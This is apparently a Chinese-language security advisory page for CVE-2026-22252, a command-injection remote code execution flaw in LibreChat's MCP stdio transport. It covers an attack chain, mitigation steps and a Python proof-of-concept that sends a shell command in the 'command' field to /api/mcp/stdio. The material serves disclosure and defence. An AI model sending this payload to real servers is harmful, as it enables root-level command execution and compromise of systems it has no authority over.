IPBUF安全漏洞报告
English
CVE-2026-22252 CVSS 9.1 严重

CVE-2026-22252 LibreChat MCP stdio远程代码执行漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22252
漏洞类型
远程代码执行
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
LibreChat

相关标签

CVE-2026-22252LibreChat远程代码执行命令注入MCP stdio容器逃逸权限提升CVSS 9.1

漏洞概述

CVE-2026-22252是LibreChat中的一个严重安全漏洞,CVSS评分高达9.1(严重级别)。该漏洞存在于LibreChat的MCP(Model Context Protocol)stdio传输实现中。在v0.8.2-rc2之前的版本中,MCP stdio传输模块接受任意命令而没有进行适当的验证和过滤。这一设计缺陷使得任何已认证的用户都能够通过单个API请求,在容器内部以root权限执行任意shell命令。由于攻击者可以获取最高权限并执行任意代码,该漏洞可导致完整的系统沦陷、数据泄露和横向移动等严重后果。攻击复杂度低,无需用户交互,机密性、完整性和可用性均受到严重影响。

技术细节

LibreChat的MCP stdio传输模块存在命令注入漏洞。该模块负责处理MCP协议中的stdio传输类型通信,但在实现过程中缺少对输入命令的安全验证。具体问题在于:1)模块直接接受用户提供的命令参数而未进行清理或过滤;2)命令在容器内以root权限执行,绕过了正常的权限隔离机制;3)缺乏对特殊字符和命令分隔符的过滤。攻击者可以通过构造恶意的MCP请求,在命令中注入额外的shell命令(如使用分号、管道等),实现任意代码执行。由于这是API层面的漏洞,攻击者只需发送一个精心构造的HTTP请求即可触发,无需复杂的攻击准备。

攻击链分析

STEP 1
步骤1
攻击者获取LibreChat的认证凭据(通过正常注册或已有账户)
STEP 2
步骤2
攻击者构造恶意MCP stdio请求,在command参数中注入shell命令
STEP 3
步骤3
发送精心构造的API请求到/api/mcp/stdio端点
STEP 4
步骤4
服务器端MCP stdio传输模块直接执行注入的命令,以root权限运行
STEP 5
步骤5
攻击者获得容器内完全控制权,可进行数据窃取、持久化或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-22252 LibreChat MCP stdio RCE PoC # Target: LibreChat < v0.8.2-rc2 target_url = "http://target-server:3000" api_endpoint = f"{target_url}/api/mcp/stdio" # Attacker-controlled command execution via MCP stdio transport # The vulnerability allows authenticated users to execute arbitrary shell commands as root malicious_payload = { "type": "stdio", "command": "bash -c 'touch /tmp/pwned && id'", # Inject arbitrary command "timeout": 5000 } headers = { "Content-Type": "application/json", "Authorization": "Bearer <authenticated_user_token>" } try: response = requests.post(api_endpoint, json=malicious_payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

影响范围

LibreChat < v0.8.2-rc2

防御指南

临时缓解措施
立即升级LibreChat至v0.8.2-rc2或最新版本。如果无法立即升级,可以暂时禁用MCP stdio传输功能,或在反向代理层面限制对/api/mcp/*端点的访问,仅允许受信任的IP地址访问。同时建议审查容器运行配置,确保应用不以root权限运行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表